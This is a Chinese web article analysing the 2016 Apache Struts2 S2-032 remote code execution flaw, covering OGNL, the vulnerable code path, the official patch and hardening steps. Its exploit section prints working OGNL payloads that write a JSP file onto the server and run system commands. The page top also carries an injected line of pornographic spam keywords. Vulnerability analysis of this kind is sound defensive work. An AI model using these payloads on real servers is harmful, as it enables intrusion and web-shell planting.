乱码乱a∨中文字幕,在线免费激情视频,亚洲欧美久久夜夜潮,国产在线网址

  1. <sub id="hjl7n"></sub>

    1. <sub id="hjl7n"></sub>

      <legend id="hjl7n"></legend>

      當(dāng)前位置:首頁 >  科技 >  互聯(lián)網(wǎng) >  正文

      Struts2 漏洞分析及如何提前預(yù)防

       2016-05-03 09:00  來源: A5專欄   我來投稿 撤稿糾錯(cuò)

        阿里云優(yōu)惠券 先領(lǐng)券再下單

      2016年4月26日,Apache Struts2官方又發(fā)布了一份安全公告:Apache Struts2 服務(wù)在開啟動(dòng)態(tài)方法調(diào)用的情況下可以遠(yuǎn)程執(zhí)行任意命令,官方編號(hào) S2-032,CVE編號(hào) CVE-2016-3081。這是自2012年Struts2命令執(zhí)行漏洞大規(guī)模爆發(fā)之后,該服務(wù)時(shí)隔四年再次爆發(fā)大規(guī)模漏洞。該漏洞也是今年目前爆出的最嚴(yán)重安全漏洞。黑客利用該漏洞,可對(duì)企業(yè)服務(wù)器實(shí)施遠(yuǎn)程操作,從而導(dǎo)致數(shù)據(jù)泄露、遠(yuǎn)程主機(jī)被控、內(nèi)網(wǎng)滲透等重大安全威脅。

      漏洞發(fā)生后,又是一次安全和相關(guān)公司的一次集體盛會(huì),漏洞利用者在盡可能的利用此次漏洞來顯示水平的高超;各大眾測(cè)平臺(tái)紛紛發(fā)布中招公司,來提升平臺(tái)的作用;各大安全公司也充分利用此次漏洞來提高公司的影響力,借勢(shì)營(yíng)銷,什么免費(fèi)檢測(cè),第一時(shí)間升級(jí)等。還剩一大堆郁悶的廠家,我沒招誰沒惹誰啊;然后就是大量的苦悶的開發(fā)運(yùn)維人員要連夜升級(jí)漏洞補(bǔ)丁。

      但是對(duì)漏洞的原理危害影響防護(hù)等少有提及。本文就是針對(duì)以上幾點(diǎn)提出自己的見解。

      原理

      這個(gè)漏洞是利用struts2的動(dòng)態(tài)執(zhí)行OGNL來訪問任意java代碼的,利用該漏洞,可以掃描遠(yuǎn)程網(wǎng)頁,判斷是否存在該類漏洞,進(jìn)而發(fā)送惡意指令,實(shí)現(xiàn)文件上傳,執(zhí)行本機(jī)命令等后續(xù)攻擊。

      OGNL是Object-Graph Navigation Language的縮寫,全稱為對(duì)象圖導(dǎo)航語言,是一種功能強(qiáng)大的表達(dá)式語言,它通過簡(jiǎn)單一致的語法,可以任意存取對(duì)象的屬性或者調(diào)用對(duì)象的方法,能夠遍歷整個(gè)對(duì)象的結(jié)構(gòu)圖,實(shí)現(xiàn)對(duì)象屬性類型的轉(zhuǎn)換等功能。

      #、%和$符號(hào)在OGNL表達(dá)式中經(jīng)常出現(xiàn)

      1.#符號(hào)的用途一般有三種。

      訪問非根對(duì)象屬性,例如#session.msg表達(dá)式,由于Struts 2中值棧被視為根對(duì)象,所以訪問其他非根對(duì)象時(shí),需要加#前綴;用于過濾和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0];用來構(gòu)造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。

      2.%符號(hào)

      %符號(hào)的用途是在標(biāo)志的屬性為字符串類型時(shí),計(jì)算OGNL表達(dá)式的值,這個(gè)類似js中的eval,很暴力。

      3.$符號(hào)主要有兩個(gè)方面的用途。

      在國(guó)際化資源文件中,引用OGNL表達(dá)式,例如國(guó)際化資源文件中的代碼:reg.agerange=國(guó)際化資源信息:年齡必須在${min}同${max}之間; 在Struts 2框架的配置文件中引用OGNL表達(dá)式。

      代碼利用流程

      1、客戶端請(qǐng)求 http://{webSiteIP.webApp}:{portNum}/{vul.action}?method={malCmdStr}

      2、DefaultActionProxy的DefaultActionProxy函數(shù)處理請(qǐng)求。

      ?
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      protected DefaultActionProxy(ActionInvocation inv, String namespace, String actionName, String methodName, boolean executeResult, boolean cleanupContext) {
          this.invocation = inv;
          this.cleanupContext = cleanupContext;
          LOG.debug("Creating an DefaultActionProxy for namespace [{}] and action name [{}]", namespace, actionName);
       
          this.actionName = StringEscapeUtils.escapeHtml4(actionName);
          this.namespace = namespace;
          this.executeResult = executeResult;
          //攻擊者可以通過變量傳遞、語法補(bǔ)齊、字符轉(zhuǎn)義等方法進(jìn)行繞過。
          this.method = StringEscapeUtils.escapeEcmaScript(StringEscapeUtils.escapeHtml4(methodName));
      }

      3、DefaultActionMapper的DefaultActionMapper方法method方法名

      ?
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      String name = key.substring(ACTION_PREFIX.length());
      if (allowDynamicMethodCalls) {
           int bang = name.indexOf('!');
           if (bang != -1) {
               //獲取方法名
               String method = cleanupActionName(name.substring(bang + 1));
               mapping.setMethod(method);
               name = name.substring(0, bang);
          }
      }

      4、調(diào)用DefaultActionInvocation 的invokeAction方法執(zhí)行傳入的方法。

      ?
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
          String methodName = proxy.getMethod();
       
          LOG.debug("Executing action method = {}", methodName);
       
          String timerKey = "invokeAction: " + proxy.getActionName();
          try {
              UtilTimerStack.push(timerKey);
       
              Object methodResult;
              try {
                  //執(zhí)行方法
                  methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);
              catch (MethodFailedException e) {


      解決辦法

      官方的解決辦法是在第三步中的函數(shù)cleanupActionName增加了校驗(yàn)。

      ?
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");
      protected String cleanupActionName(final String rawActionName) {
          //校驗(yàn),輸入過濾正則匹配("[a-zA-Z0-9._!/\\-]*"),這是采取白名單方式,只允許大小寫字母、數(shù)字等有限字符。
          if (allowedActionNames.matcher(rawActionName).matches()) {
              return rawActionName;
          else {
              if (LOG.isWarnEnabled()) {
                  LOG.warn("Action/method [#0] does not match allowed action names pattern [#1], cleaning it up!",
                          rawActionName, allowedActionNames);
              }
              String cleanActionName = rawActionName;
              for (String chunk : allowedActionNames.split(rawActionName)) {
                  cleanActionName = cleanActionName.replace(chunk, "");
              }
              if (LOG.isDebugEnabled()) {
                  LOG.debug("Cleaned action/method name [#0]", cleanActionName);
              }
              return cleanActionName;
          }
      }


      修復(fù)建議

      1、禁用動(dòng)態(tài)方法調(diào)用

      修改Struts2的配置文件,將“struts.enable.DynamicMethodInvocation”的值設(shè)置為false,比如:

      <constantname="struts.enable.dynamicmethodinvocation" value="false">;

      2、升級(jí)軟件版本

      升級(jí)Struts版本至2.3.20.2、2.3.24.2或者2.3.28.1

      補(bǔ)丁地址:

      漏洞利用代碼

      1、上傳文件:

      method:%23_memberAccess%[email]3d@ognl.OgnlContext[/email]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&shellname=stest.jsp&shellContent=tttt&encoding=UTF-8&pp=%2f

      上面的代碼看起來有點(diǎn)不方便,我們進(jìn)行轉(zhuǎn)換一下在看看。

      ?
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      method:#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
      #req=@org.apache.struts2.ServletActionContext@getRequest(),
      #res=@org.apache.struts2.ServletActionContext@getResponse(),
      #res.setCharacterEncoding(#parameters.encoding[0]),
      #w=#res.getWriter(),
      #path=#req.getRealPath(#parameters.pp[0]),
      new java.io.BufferedWriter(new java.io.FileWriter(#path+#parameters.shellname[0]).append(#parameters.shellContent[0])).close(),
      #w.print(#path),
      #w.close(),1
      ?#xx:#request.toString&
      shellname=stest.jsp&
      shellContent=tttt&
      encoding=UTF-8&pp=/

      2、執(zhí)行本地命令:

      method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&cmd=whoami&pp=\\A&ppp=%20&encoding=UTF-8

      同樣我們經(jīng)過轉(zhuǎn)換在看一下

      ?
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      method:#_memberAccess[#parameters.name1[0]]=true,
      #_memberAccess[#parameters.name[0]]=true,
      #_memberAccess[#parameters.name2[0]]={},
      #_memberAccess[#parameters.name3[0]]={},
      #res=@org.apache.struts2.ServletActionContext@getResponse(),
      #res.setCharacterEncoding(#parameters.encoding[0]),
      #w#d#res.getWriter(),
      #s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).
      useDelimiter(#parameters.pp[0]),
      #str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?
      #xx:#request.toString&name=allowStaticMethodAccess&name1=allowPrivateAccess&name2=excludedPackageNamePatterns&name3=excludedClasses&cmd=whoami&pp=\\A&ppp= &encoding=UTF-8

      通過之前的介紹,發(fā)現(xiàn)轉(zhuǎn)換后還是比較容易理解的。

      如何預(yù)防

      安全中有個(gè)非常重要的原則就是最小權(quán)限原則。所謂最小特權(quán)(Least Privilege),指的是"在完成某種操作時(shí)所賦予網(wǎng)絡(luò)中每個(gè)主體(用戶或進(jìn)程)必不可少的特權(quán)"。最小特權(quán)原則,則是指"應(yīng)限定網(wǎng)絡(luò)中每個(gè)主體所必須的最小特權(quán),確??赡艿氖鹿?、錯(cuò)誤、網(wǎng)絡(luò)部件的篡改等原因造成的損失最小"。

      比如在系統(tǒng)中如果沒有用到動(dòng)態(tài)方法調(diào)用,在部署的時(shí)候就去掉,這樣即使補(bǔ)丁沒有打,依然不會(huì)被利用。

      在這個(gè)系統(tǒng)中最重要的危害之一是執(zhí)行本地進(jìn)程,如果系統(tǒng)沒有執(zhí)行本地進(jìn)行的需求,也可以禁用。

      我們看一下java代碼中執(zhí)行本地命令的代碼,ProcessImpl中的ProcessImpl。

      ?
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
          private ProcessImpl(String cmd[],
                              final String envblock,
                              final String path,
                              final long[] stdHandles,
                              final boolean redirectErrorStream)
              throws IOException
          {
              String cmdstr;
              SecurityManager security = System.getSecurityManager();
              boolean allowAmbiguousCommands = false;
              if (security == null) {
                  allowAmbiguousCommands = true;
                  //jdk已經(jīng)指定了參數(shù)來標(biāo)識(shí)是否可以執(zhí)行本地進(jìn)程。
                  String value = System.getProperty("jdk.lang.Process.allowAmbiguousCommands");
                  if (value != null)
                      allowAmbiguousCommands = !"false".equalsIgnoreCase(value);
              }
              if (allowAmbiguousCommands) {

      在java啟動(dòng)的時(shí)候加上參數(shù) -Djdk.lang.Process.allowAmbigousCommands=false,這樣java就不會(huì)執(zhí)行本地進(jìn)程。

      如果在系統(tǒng)部署的時(shí)候能提前把不必要的內(nèi)容關(guān)掉,可以會(huì)減少或者杜絕這個(gè)漏洞的危害。

      賽克藍(lán)德(secisland)版權(quán)所有,未經(jīng)許可不得轉(zhuǎn)載,感謝。

      申請(qǐng)創(chuàng)業(yè)報(bào)道,分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處,共同探討創(chuàng)業(yè)新機(jī)遇!

      相關(guān)文章

      熱門排行

      信息推薦